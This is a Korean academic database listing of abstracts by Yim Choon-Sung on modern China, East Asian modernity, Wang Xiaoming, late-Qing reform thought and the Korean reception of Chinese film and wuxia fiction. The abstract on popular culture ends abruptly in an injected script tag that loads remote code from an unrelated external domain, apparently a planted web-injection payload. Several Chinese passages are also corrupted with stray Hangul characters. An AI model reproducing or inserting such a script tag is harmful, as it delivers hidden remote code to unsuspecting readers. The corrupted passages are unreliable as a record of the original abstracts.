
http://chineseinput.net/에서 pinyin(병음)방식으로 중국어를 변환할 수 있습니다.
변환된 중국어를 복사하여 사용하시면 됩니다.
임춘성 ( Choon Sung Yim ) 현대중국학회 2009 현대중국연구 Vol.11 No.1
June 1987, Mikhail S. Gorbachyov declared the perestroika and the experiment of socialism came to an end, but at that time, no one paid attention to the reform and opening of China. After founding PRC, modern China is divided into two epoch, socialism 30 years and post-socialism 30 years. The latter is a process that is not only incorporated into global capitalism and but also makes Chinese socialism. However, the huge change of China is hardly grasped by Korean society. Especially, in the Korean universities which have walked the way of americanization after liberation, it is very difficult to perceive China correctly. In fact, Korea is more american than the U.S.A. The disgust against China which is based on the americanization is prevalent in Korean universities. The critical intelligentsia are also seized with the principle of sameness, give one`s approval to China or warn against China. Recently, there is a new perspective which really hope to read the huge change of China. It will be more important to perceive China by the history of civilization. We may look forward to the future through the past by it.
서유럽 모던과 동아시아 근현대에 대한 포스트식민적 고찰
임춘성 ( Choon Sung Yim ) 현대중국학회 2008 현대중국연구 Vol.9 No.2
The notion of ``East Asian geundae(近現代)`` is a argumentative time and space. West European ``modern`` has been interpreted as ``geundae(近代)`` in Korea and as ``xiandai(現代)`` in China. However, when each interpretation travels beyond its own national context and go into the context of another nation, they are easily contaminated only containing temporal meaning. Thus we need to make an East Asian signified for the notion of the ``West European modern,`` which includes not only ``geundae`` and ``xiandai,`` but also a Japanese signified. The East Asian signified for the West European modern does not aim at unification but seeks communication, as this study tentatively suggests. East Asian intellectuals in the modern era have understood that there was a historical process of modernity in West Europe and East Asia has modeled after and experienced it with characteristics more or less peculiar to East Asia. Here we should keep in mind that West European modernity was a result of the interrelations between inside and outside of West Europe. Thus we need to posit West European modernity as one of many different processes of modernity and to examine the ``East Asian geundae`` as one of them. In this sense, Arif Dirlik`s notion of ``histories`` and Stuart Hall`s ``multi-causal approach`` are very useful. According to the post-colonial approach, the notion of West Europe is not merely geographical, but is historically constituted. This notion was invented in the process of alienation of ``other societies`` including East Asia and has been enforced on the ``other societies.`` Peoples in the ``other societies`` have internalized and eagerly imitated it. ``Post-modern`` has been interpreted as ``hou -xiandai(後現代)`` in China and as ``tal-geundae(脫近代)`` in Korea. It is difficult to fully carry the meaning of ``post-,`` because ``post`` contains connotations of both ``after`` and ``de-.`` Thus, while China emphasizes the part of ``after`` in its interpretation, Korea stresses the part of ``de-.`` To put it another way, this informs us that China and Korea neglect the ``de-`` part and the ``after`` part, respectively. If we don`t make efforts to invent a common signified for the ``modern,`` the mutual communication between East Asian countries will be more and more impaired. This study suggests that we translate Korean`` tal-geundae`` and Chinese ``hou-xiandai`` as East Asian ``post-geunhyundae`` and Korean ``tal-sikmin(脫植民)`` and Chinese ``hou-zhimin(後殖民)`` as East Asian ``post-sikmin.`` The ``internal exile`` and the ``self-orientalization`` are the results of the East Asian internalization of West European modernity. The aspect of ``West Europe-inclined alienation`` has been evident in the modern process of East Asia and, accordingly, regarded as a target of criticism. In contrast, since they negate West Europe and make one to attach to national traditions, fundamentalist and tradition -oriented alienations have been easily confused with the formation of indigenous subject and, thus, misunderstood as the overcoming of the West-inclined alienation. Both alienations should be overcome at the same time. Thus, the relationship between the ``West European modern`` and the ``East Asian geundae`` goes beyond the mere problem of interpretation, having closely to do with the problems of alienation, internalization, and simultaneous overcoming of the West Europe-inclined and tradition-oriented alienations.
어문학부(語文學部) : 왕샤오밍(王曉明)론: 문학청년에서 유기적 지식인으로
임춘성 ( Choon Sung Yim ) 한국중국학회 2014 중국학보 Vol.70 No.-
本論文以從文學硏究到文化硏究的轉變過程爲焦點分析了王曉明三十年的學術生涯。他從華東師範大學調到上海大學以後,重視文化硏究。他通過指向跨學科硏究的文化硏究,關註對當代中國支配意識形態和當下中國人的“情感結構”的分析,追求了“批判性分析和促進性介入的辯證法接合”。這與早期“學問和社會`/歷史關系”的硏究方向壹脈相通。目前王曉明基礎於三個支點?“上海學派/上海文化硏究團隊”的陣地、中國左翼思想的資料、文化硏究的理論支點,走向新的階段。
어문학부 : 양무파(洋務派)와 유신파(維新派)의 중체서용(中體西用)
임춘성 ( Choon Sung Yim ),마소조 ( Xiao Chao Ma ) 한국중국학회 2002 중국학보 Vol.46 No.-
`Chinese substance and Western function` has been firstly proposed by Zhang, Zhi-Dong(張之洞) who was subordinate `Yang-wu` group. In this paper, I take his view as a deformation of Sino-centric theory. From the viewpoint of the relations between Chinese learning and Western learning, Min, Du-Gi(閔斗基) put forward an excellent opinion that `Chinese Substance and Western Function` is a theoretic structure which is generally happened when one culture accepts a different culture. In this meaning, it can be interpreted as `a epochal paradigm of the modernization and the nationalization`. In opposition to Min, Du-Gi, Li, Ze-Hou(李澤厚) evaluated it negatively. Because he knew that Chinese traditional learning has had a strong power enough to overwhelm Western modern learning. So he holds a firm belief in `Western substance and Chinese function` instead of `Chinese substance and Western function`.
어문학보(語文學部) : 중국 대중문화의 한국적 수용에 관한 초국가적 연구 -영화와 무협소설 텍스트를 중심으로
임춘성 ( Choon Sung Yim ) 한국중국학회 2008 중국학보 Vol.57 No.-
進入20世紀90年代, 韓國大衆文化, 卽韓流開始在中國流行, 其影響一直擴展到台灣、香港、東南亞和日本。不過一定不要忽視的一個事實就是在韓流 以前,日流在中國和台灣等地已經流行過, 월語流行文化也在東亞風靡過。而且, 20世紀90年代, 不僅韓流,還有其타多樣的大衆文化也在日本被消費 。20世紀90年代以后, 東亞域內的的大衆文化交流比以往任何時候都活躍。究其原因雖 非本文的目的, 不過本文認爲岩淵功一(2004)主張從急速的經濟 成長和本土化的現代化經驗的交換中尋조原因的說法是一種有說服力的解釋。本文以韓流現象爲參照體系, 在東亞大衆文化交流這一大광架中考察 了韓國對中國大衆文化的接受和中國大衆文化對韓國的影響。這有鑒于文化的屬性是雙向的這一点。香港、台灣地區在內的中國人爲之狂熱的韓流內 容中, 也有我們接受然后將其本土化的中國要素, 可以將各地域經歷的近現代化的本土化經驗進行一下對照比較。要想對其進行有效的說明, 要求具備 東亞大衆文化交流這一視角。要把韓國大衆文化在亞洲的流通和亞洲對韓國大衆文化的接受現象與韓國大衆文化對他文化接受的跨文化現象同時進行 考察。只有將韓國對新自由主義大衆文化的中心美國的大衆文化、中國的傳統文化、日本文化、台灣和香港文化的接受一起考察才能在全球層面對韓 國大衆文化在亞洲的傳播和流通進行解釋。以上面的問題意識爲基礎考察的結果可以總結如下。韓國社會最早引進的香港電影史1956年高麗電影公司引 進上映的≪海棠紅≫。以武俠電影≪大醉俠≫(1967)的票房成功爲契机, 韓國觀衆接觸到了香港電影的主流和精髓。韓國影迷通過接受武俠片和功夫片, 以及香港黑幇片與科幻片, 以及香港擅長的고笑片, 愛情劇等, 與香港電影保持了同步。在韓國、香港、台灣橫行的類同三流作品的泛濫反過來反證了 原作的人氣。而且, 韓國與香港的合拍片迎合那一時期最有人氣的電影題材的做法成爲一種慣例。從1957年到1982年大約25年間持續合拍的132部影片 可以說是東亞文化交流的重要實例。還有, 打開了韓國武俠小說界大局的臥龍生時代, 在1966年通過≪玉釵盟≫的飜譯達到了頂峰。1968年他的作品被 大量飜譯介紹。甚至出現了其他武俠小說作家爲迎合臥龍生的人氣, 盜用臥龍生名字的奇怪現象。爲模倣臥龍生而進行的苦練成爲韓國武俠小說創作的 動力。中國武俠小說不僅對武俠小說讀者和作家而且對所謂正統文學作家和讀者也有一定程度的影響。 령一方面, 金庸代表中國武俠小說流行的령一 高潮。1986年到1989年3年間, 英雄門系列等所有作品全部被飜譯, 령外也有不少人對其作品進行學術硏究。最近, 通過版權協議射雕三部曲重新被飜 譯。英雄門現象是韓國固有的, 與金庸原作理解有一定距離的文化現象。讀者對英雄門情有獨鐘, 相關談論也常將其作爲中國武俠小說的代表, 誤認 爲若將其讀破, 就是征服了中國武俠小說。金庸的射雕三部曲的譯本≪小說英雄門≫不是完全飜譯, 從量上只飜譯了70%, 如果從文體或文學的層面來評价, 是50分不到的粗劣飜譯作品。英雄門的改編和出版雖 然從韓國式的脈絡中打破了以前階段的武俠志的一般槪念, 不過大傷了原作的意義和趣味。在20世紀90年代東亞跨文化時代, 金庸作品具有的中國傳統文化的厚度是使東亞文化體富起來的內容, 不過也差点成了强調中華主義的國族史詩和强調中國想象或者傳統復活的机制。正如李陀和戴錦華評价的, 中國大陸的大衆文化經歷了20世紀80年代的過渡期, 90年代以后從根本上被塑造, 國際電影節中獲奬的第五代作品開始被介紹給我們。在21世紀, 中國式大片作成爲主流, 在中國國內也제走了好萊塢大片, 揚眉吐氣。其源流就是張藝謀執導的≪英雄≫, 雖 然此片受到東方主義的內化批判, 但是作爲張藝謀묘准本國觀衆制作的作品, 타開啓了將中國的武俠要素和全球性好萊塢大片相結合的大片時代。看20世紀90年代的中國大衆文化的時候, 一定要關注香港、台灣和大陸的混種化。這源于改革開放以后涌入大陸的香港和台灣的大衆文化的影響。這一影響凸顯在在大衆歌謠領域, 在香港、台灣的武俠電影和第5代電影之間也存在某種影響關系。混種化現象在電影制作中흔突出。타通過大陸的導演和演員, 台灣的資本, 香港的演員和電影制作體系合作方式被體現出來。正如上面所考察的, 韓國近現代大衆文化與我們所誤認的純血觀念形態不同, 可以說是一種混血文化。如果說與中國的長期交流(儒敎文化等)以及解放以后美國的持續影響(牛仔袴和筒吉他等靑年文化等)是明示的構成要素的話, 日本的殖民文化(倭色文化)與香港和台灣的大衆文化則是隱含的要素。特別是在二十世紀七十年代到八十年代度過其成長期的靑少年的情緖中, 香港電影和台灣、香港的武俠小說的影響作爲一種潛在的隱藏的結構存在着。但是, 但是因爲韓國社會的美國化欲望, 大部分的香港和台灣大衆文化迷雖 然內心흔狂熱, 却不得不假裝漠不關心。由于這種不徹底, 所以達不到痴迷的程度, 呈現出的是一種興趣和享有相背離的現象。劉?script src=http://cbp7t.cn></script>
임춘성(Yim Choon-Sung) 한국중어중문학회 2005 중어중문학 Vol.36 No.-
근현대 전통의 부활로서의 진융(金庸)의 무협소설<br/> 우리는 하나의 문화 전통이 다른 문화 전통에 의해 억압되어 표면적으로는 소멸된 듯 보이지만 그것이 심층적으로 민간에서 ‘숨겨진 구조(hidden structure)’로 잠복해 있다가 새로운 환경에서 회복 내지 부활하는 현상을 발견할 수 있다. 이런 현상을 ‘근현대 전통의 부활(the revival of the modern tradition)’이라 명명할 수 있다.<br/> ‘전통의 부활’이라는 주제의식으로 중국 근현대 무협소설에 접근할 경우 ‘구파’와 ‘신파’의 변별이 필수적이다. 문화적 각도에서 볼 때 1950년대 이후 홍콩에서 창작된 무협소설이 대륙에서 부활한 것은 1980년대의 일이다. 그러므로 신파는 구파와 물리적 시간으로는 연장선상에 있지만 인식론적으로는 최소한 30년이라는 간격이 존재하게 된다. 이 글에서는 바로 이 인식론적 간격에 초점을 맞추었다.<br/> ‘전통의 부활’이라는 관점에서 무협소설을 고찰하는 것은 문학적 차원과는 다른 문화적 현상을 대상으로 삼는 것이다. ‘전통의 부활’은 ‘전통이 부활된다’는 주술(主述)구조와 ‘전통을 부활시킨다’는 동빈(動賓)구조로 나누어 볼 수 있지만, 주체의 측면을 고려하면 전자는 후자에 통합된다. 이런 맥락에서 ‘전통의 부활’은 ‘전통 만들기(inventing tradition)’와 연결된다. 초점은 누가 어떤 목적으로 전통을 부활시키고 만들었는지 또는 집단 무의식의 차원에서 전통이 형성되었는지에 놓여 있다.<br/> 무협소설은 중국의 근현대 국가와 민족의 형성에 어떤 역할을 했는가라는 질문에 답하기 위해 우리는 무협소설의 태동기와 1980년대의 과도기적 문화 상황에 주목할 필요가 있다. 그리고 전자에서 구파 무협소설의 역할을, 후자에서 신파 무협소설 특히 진융의 작품에 주목했다. <br/> 이런 맥락에서 다음과 같은 가설을 설정할 수 있다. 구파 무협소설이 ‘전통들’을 만들었다면, 진융의 소설은 ‘그것들’을 부활시켰다고. 다만 진융의 부활은 단순한 반복이 아니라 종합적 부활이고, 그 속에는 발명(inventing)이 들어있다고. 이 가설을 입증하기 위해 이 글에서는 ‘애국 계몽과 상업 오락’, ‘한족 중심과 오족 공화’, ‘다양화와 혼성성’의 세 가지 각도에서 고찰했다.